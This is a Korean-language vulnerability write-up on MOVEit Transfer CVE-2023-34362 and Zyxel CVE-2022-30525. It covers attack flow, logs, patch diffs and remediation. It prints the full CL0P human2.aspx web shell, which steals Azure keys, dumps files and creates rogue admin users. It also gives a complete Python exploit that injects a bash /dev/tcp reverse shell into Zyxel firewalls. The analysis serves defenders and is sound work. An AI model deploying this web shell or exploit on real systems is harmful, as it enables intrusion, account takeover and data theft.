1. MOVEit Transfer [1]

- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close [2]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함

- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음

- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]

> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]

영향받는 버전
- MOVEit Transfer 2023.0.0 (15.0)
- MOVEit Transfer 2022.1.x (14.1)
- MOVEit Transfer 2022.0.x (14.0)
- MOVEit Transfer 2021.1.x (13.1)
- MOVEit Transfer 2021.0.x (13.0)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]

[사진 2] Shodan 검색 결과

 

- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]

[사진 3] GreyNoise의 CVE-2023-34362 관련 스캐너

 

2.1 CL0P 랜섬웨어 그룹 [6]

- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시

> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해

[사진 4] CL0P 랜섬웨어 그룹의 MOVEit 캠페인 관련 게시글

 

[사진 5] MOVEit 익스플로잇 타임라인

 

- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음

① SQL Injection 취약점 악용

> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드

 

② 웹쉘 통신 및 악성 행위 수행 [7]

> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신

헤더 옵션 설명
X-siLock-Step1 -1 - AppendHeader 응답 헤더를 통해 Azure 정보 유출
- MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를 GZIP으로 압축하여 반환
-2 - users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2
("folderid"  지정)
특정 값 지정 - 해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3
("fileid" 값 지정)
특정 값 지정 - 해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>

<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>

<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>

<script runat="server">  
private Object connectDB() {
    var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
    bool flag = false;
    string text = null;
    flag = MySQLConnect.Connect();
    if (!flag) {
        return text;
    }
    return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
    const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
    return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
    var pass = Request.Headers["X-siLock-Comment"];
    if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
        Response.StatusCode = 404;
        return;
    }
    Response.AppendHeader("X-siLock-Comment", "comment");
    var instid = Request.Headers["X-siLock-Step1"];
    string x = null;
    DbConn MySQLConnect = null;
    var r = connectDB();
    if (r is String) {
        Response.Write("OpenConn: Could not connect to DB: " + r);
        return;
    }
    try {
        MySQLConnect = (DbConn) r;
        if (int.Parse(instid) == -1) {
            string azureAccout = SystemSettings.AzureBlobStorageAccount;
            string azureBlobKey = SystemSettings.AzureBlobKey;
            string azureBlobContainer = SystemSettings.AzureBlobContainer;
            Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
            Response.AppendHeader("AzureBlobKey", azureBlobKey);
            Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
            var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
            string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
            var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
            String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nInstID,InstName,ShortName\n";
            query1 = "select id, name, shortname from institutions";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
                    set.MoveNext();
                }
            }
            using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
                    writer.Write(reStr);
                }
            }
        } else if (int.Parse(instid) == -2) {
            var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
            new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
        } else {
            var fileid = Request.Headers["X-siLock-Step3"];
            var folderid = Request.Headers["X-siLock-Step2"];
            if (fileid == null && folderid == null) {
                SessionIDManager Manager = new SessionIDManager();
                string NewID = Manager.CreateSessionID(Context);
                bool redirected = false;
                bool IsAdded = false;
                Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
                string username = "";
                var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
                var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
                var query1 = "";
                if (!set.EOF) {
                    username = (String) set["Username"].Value;
                } else {
                    username = RandomString(16);
                    query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
                }
                query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
                new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            } else {
                DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
                SILGlobals siGlobs = new SILGlobals();
                siGlobs.FileSystemFactory.Create();
                EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
                Response.ContentType = "application/octet-stream";
                Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
                using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                    st.CopyTo(gzipStream);
                }
            }
        }
    } catch (Exception) {
        Response.StatusCode = 404;
        return;
    } finally {
        MySQLConnect.Disconnect();
    }
    return;
}
</script>

 

- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨

2023-05-30 17:05:50 192.168.###.### GET / - 443 - 5.252.190.181 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /api/v1/token - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### GET /api/v1/folders - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### POST /api/v1/folders/605824912/files uploadType=resumable 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:02 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:04 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:08 192.168.###.### PUT /api/v1/folders/605824912/files uploadType=resumable&fileId=963061209 443 - 5.252.190.233 user-agent - 500
2023-05-30 17:06:08 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:08 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:11 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.116 user-agent - 200
2023-05-30 17:06:21 192.168.###.### GET /human2.aspx - 443 - 5.252.191.88 user-agent - 404

> moveitisapi.dll은 특정 헤더에서 요청될 경우 SQL 인젝션을 수행하기 위해 사용

⒜ 사용자 요청에 action=m2 매개변수를 포함하는 경우 action_m2 함수를 호출

⒝ 해당 함수는 전달받은 X-siLock-Transaction 헤더가 folder_add_by_path와 일치여부 확인 후 일치할 경우 machine2.aspx에 사용자 요청 포워딩

⒞ moveitisapi.dll에서 X-siLock-Transaction 헤더를 추출하여 folder_add_by_path와 값을 비교하는 함수에 버그 존재

⒟ 공격자는 xX-siLock-Transaction=folder_add_by_path 등의 헤더를 제공해 헤더가 잘못 추출되도록 유도

⒠ 잘못 추출된 헤더에 의해 machine2.aspx에 session_setvars 트랜잭션을 전달하여 SetAllSessionVarsFromHeaders() 함수 호출 및 구문 분석 진행

⒡ 이때, X-siLock-SessVar0: MyUsername: sysadmin은 세션의 사용자 이름을 sysadmin으로 설정하며, 변수를 설정할 수 있는 엑세스 권한이 부여

> guestaccess.aspx는 세션을 준비하고 CSRF 토큰 및 기타 필드 값을 추출하여 추가 액션을 수행하는 데 사용

⒜ 취약한 UserGetUsersWithEmailAddress() 함수는 트렌젝션이 secmsgpost인 경우 인증을 수행하지 않고 guestaccess.aspx 호출

※ 관련 함수 Call-chain

guestaccess.aspx -> SILGuestAccess -> SILGuestAccess.PerformAction() -> MsgEngine.MsgPostForGuest() -> UserEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() -> UserEngine.UserGetUsersWithEmailAddress()

 

3. 대응방안

① 최신 업데이트 적용 [8]

> 23.06.12 보안 기업 Huntress에 의해 두 번째 제로데이 취약점(CVE-2023-35036)이 발견되었으며, 벤더사에서 관련 패치 적용

> 따라서, 서둘러 패치를 적용해야할 필요가 있음

※ MOVEit Cloud의 경우 클라우드 서비스이기 때문에 사용자들이 특별히 패치를 다운로드 받아 적용하지는 않아도 됨

※ 보안 업체의 연구에 따르면 해당 패치는 모든 경우에서 인수를 이스케이프 하므로, 취약점에 적절히 대응하는 것으로 확인

취약한 버전 패치 버전
MOVEit Transfer 2023.0.0(15.0) MOVEit Transfer 2023.0.1
MOVEit Transfer 2022.1.x(14.1) MOVEit Transfer 2022.1.5
MOVEit Transfer 2022.0.x(14.0) MOVEit Transfer 2022.0.4
MOVEit Transfer 2021.1.x(13.1) MOVEit Transfer 2021.1.4
MOVEit Transfer 2021.0.x(13.0) MOVEit Transfer 2021.0.6
MOVEit Transfer 2020.1.x(12.1) Progress 웹사이트 참고 [9]
MOVEit Transfer 2020.0.x(12.0) 및 이전 버전 가능한 상위 버전
MOVEit Cloud 14.1.4.94 또는 14.0.3.42

 

> machine2.aspx에서 사용하던 SetAllSessionVarsFromHeaders() 함수를 제거

  public bool SetAllSessionVarsFromHeaders(string ServerVars)
    {
      bool flag = true;
      string[] strArray = Strings.Split(ServerVars, "\r\n");
      int num1 = Strings.Len("X-siLock-SessVar");
      int num2 = Information.LBound((Array) strArray);
      int num3 = Information.UBound((Array) strArray);
      int index = num2;
      while (index <= num3)
      {
        if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0)
        {
          int num4 = strArray[index].IndexOf(':', num1);
          if (num4 >= 0)
          {
            int num5 = strArray[index].IndexOf(':', checked (1 + num4));
            if (num5 > 0)
              this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5)));
          }
        }
        checked { ++index; }
      }
      return flag;
    }

 

> 여러 위치에서 사용되는 복잡한 SQL 쿼리를 변경

 private void UserGetUsersWithEmailAddress(
-      ref ADORecordset MyRS,
+      ref IRecordset MyRS,
       string EmailAddress,
       string InstID,
       bool bJustEndUsers = false,
       bool bJustFirstEmail = false)
     {
-      object[] objArray;
-      bool[] flagArray;
-      object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4]
+      Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName);
+      SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0);
+      if (bJustEndUsers)
+        where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true);
+      string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress);
+      List<string> values = new List<string>()
       {
-        Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"),
-        (object) InstID,
-        (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
-        (object) EmailAddress
-      }, (string[]) null, (Type[]) null, flagArray = new bool[4]
-      {
-        false,
-        true,
-        false,
-        true
-      });
-      if (flagArray[1])
-        InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
-      if (flagArray[3])
-        EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string));
-      this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true);
+        string.Format("Email={0}", (object) func("Email")),
+        this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)
+      };
+      where.WithParameter("Email", (object) EmailAddress);
+      where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str));
+      if (!bJustFirstEmail)
+      {
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str));
+        where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str));
+      }
+      where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")");
+      where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending);
+      this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true);
     }

 

② 벤더사 권장 수정 사항 (업데이트 외) [8]

- MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

- 감사 로그를 점검해 비정상적인 파일 접근 및 다운로드 기록이 있는지 확인

- 악성 파일 및 사용자 계정 삭제

> 웹쉘과 cmdline 스크립트 파일 등을 삭제하고 승인되지 않은 계정 삭제

> 관련 행위 조사와 관련된 정보 제공 [11]

 

③ 업데이트가 불가할 경우

- 신뢰할 수 있는 IP 주소에서만 MOVEit Transfer 접속하도록 방화벽 설정
- 승인되지 않은 사용자 계정 제거
- 신뢰할 수 있는 인바운드 연결만 허용
- 다단계 인증 활성화

 

④ 공개된 침해지표 보안장비 적용 [12][13][14][15]

 

4. 참고

[1] https://www.ipswitch.com/moveit-transfer
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close
[3] https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
[4] https://www.shodan.io/search?query=http.favicon.hash%3A989289239
[5] https://viz.greynoise.io/tag/moveit-transfer-scanner?days=30
[6] https://www.akamai.com/blog/security-research/moveit-sqli-zero-day-exploit-clop-ransomware
[7] https://gist.github.com/JohnHammond/44ce8556f798b7f6a7574148b679c643
[8] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
[9] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1

[10] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do;jsessionid=nZaP7DIRsvlu8YwvR52vr0pZJfg76AruG7wWlqMRyamD1eEvxANzXJO2mce9RlAb.nweb2_servlet_ncsc?bbsId=SecurityAdvice_main&nttId=44288&pageIndex=1#LINK

[11] https://docs.ipswitch.com/MOVEit/DMZ%207.5/online%20guide/MOVEitDMZ_AdvancedTopics_SystemInternals_TechnicalReference.htm

[12] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
[13] https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft
[14] https://www.imperva.com/blog/cve-2023-34362-moveit-transfer/
[15] https://www.boannews.com/media/view.asp?idx=118913&page=4&kind=1

[16] https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/

[17] https://github.com/horizon3ai/CVE-2023-34362

[18] https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis?referrer=notificationEmail 

1. Zyxel

- 네트워크 통신 장비를 서비스하는 대만 다국적 기업

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2022-30525

- 취약한 Zyxel 방화벽의 관리 HTTP 인터페이스(인터넷에 노출된 경우)를 통해 OS 명령을 실행할 수 있는 취약점

영향받는 제품
① USG FLEX 100(W), 200, 500, 700 – 펌웨어: ZLD V5.00 ~ ZLD V5.21 패치 1
② USG FLEX 50(W) / USG20(W)-VPN – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
③ ATP 시리즈 – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
④ VPN 시리즈 – 펌웨어: ZLD V4.60 ~ ZLD V5.21 패치 1
※ 이러한 제품은 일반적으로 VPN, SSL 검사, 침입 방지, 이메일 보안 및 웹 필터링을 위해 소규모 지점 및 기업 본사에서 사용

[사진 2] 쇼단 검색 화면

2.1 분석

- 해당 취약점은 /ztp/cgi-bin/handler URI를 통해 악용되며, 취약한 기능은 setWanPortSt 명령과 관련

- handler.py에서 지원하는 명령은 다음과 같음

※ handler: 다양한 명령을 처리하는 Python 스크립트

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
  "atraceroute", "iptables", "getorchstat", \
  "getInterfaceName_out", "getInterfaceInfo", \
  #"getSingleInterfaceInfo", "getAllInterfaceInfo", \
  #"getInterfaceNameAll", "getInterfaceNameMapping", \
  "nslookup", "iproget", \
  "diagnosticinfo", "networkUnitedTest", \
  #"setRemoteAssistActive", "getRemoteAssist", \
  "setRemoteZyxelSupport", "getRemoteZyxelSupport", \
  "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
  "getUSBSt","setUSBmount","setUSBactive", \
  "getDiagnosticInfoUsb", \
  "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
  "getlanguagest","setlanguage"
]

 

- setWanPortSt 명령을 통한 요청일 경우 handler.py는 lib_wan_settings.py의 setWanPortSt를 호출

def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
    
    cmdLine = ''
    GUIportst = {}
    
    extname = findextname(port)

    #TODO: subprocess method
    try:
        if vlan_tagged == '1':
            if vlanid == '':
                vlanid == '0'

        if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "static":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            prefix_length = netmask_to_cidr(data['netmask'])
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' ' + data['firstDnsServer']
            if 'secondDnsServer' in data:
                cmdLine += ' ' + data['secondDnsServer']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "pppoe":
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
            #extname = findextname(port)

            if 'auth_type' not in data:
                data['auth_type'] = 'chap-pap'
            if 'mtu' not in req:
                req['mtu'] = '1492'
            if 'ipaddr' not in data:
                data['ipaddr'] = '0.0.0.0'
            if 'gateway' not in data:
                data['gateway'] = '0.0.0.0'
            if 'firstDnsServer' not in data:
                data['firstDnsServer'] = '0.0.0.0'

            cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' >/dev/null 2>&1'
            
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag", "w") as fout:
            fout.write("1");

        response = os.system(cmdLine) 
        logging.info(response)
        if response != 256:
            logging.info("cmd thread return error")
            reply = {"error": 500}
        else:
            logging.info("cmd success!!")
            reply["stdout"] = [{}]
            reply["stderr"] =""
            with open(WAN_PORT_LAST_CHANGED, "w") as fout:
                fout.write(port)
            if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
                reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
            with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
                fout.write(port + ' ')
            
    except Exception as e:
        reply = {"error": 500, "exception": e}
   
    return reply

 

- setWanPortSt()는 사용자 요청을 검증 없이 cmdLine 변수에 저장 후 os.system(cmdLine)으로 명령을 실행

def setWanPortSt(req):

...

 if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'

...

cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
                
...

response = os.system(cmdLine)

 

2.2 PoC

- exploit(url, host, port)의 data 변수를 사용해 임의의 명령을 삽입

from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse


parser = argparse.ArgumentParser(
    prog="CVE-2022-30525.py",
    description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
)
parser.add_argument("-u", dest="url", help="Specify target URL")
parser.add_argument("-r", dest="host", help="Specify Remote host")
parser.add_argument("-p", dest="port", help="Specify Remote port")

args = parser.parse_args()

banner = (
    "ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
    "LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
    "ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
    "LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
    "ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
    "KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
    "ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
    "biA6KSApCg=="
)


def main():

    print("\n" + base64.b64decode(banner).decode("utf-8"))

    if None in vars(args).values():
        print(f"[!] Please enter all parameters !")
        parser.print_help()
        sys.exit()

    if "http" not in args.url:
        args.url = "https://" + args.url
    args.url += "/ztp/cgi-bin/handler"
    exploit(args.url, args.host, args.port)


def exploit(url, host, port):
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
        "Content-Type": "application/json",
    }

    data = {
        "command": "setWanPortSt",
        "proto": "dhcp",
        "port": "4",
        "vlan_tagged": "1",
        "vlanid": "5",
        "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
        "data": "hi",
    }
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")

    try:
        response = requests.post(
            url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
        )
    except (KeyboardInterrupt, requests.exceptions.Timeout):
        print("[!] Bye Bye hekcer !")
        sys.exit(1)
    finally:

        try:
            print("[!] Can't exploit the target ! Code :", response.status_code)

        except:
            print("[!] Enjoy your shell !!!")


if __name__ == "__main__":
    main()

[사진 3] 공격 패킷 일부

3. 대응방안

3.1 서버측면

① 해당 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트 적용

제품명 영향받는 버전 해결 버전
USG FLEX 100(W), 200, 500, 700 ZLD V5.00 ~ ZLD V5.21 Patch 1 ZLD V5.30
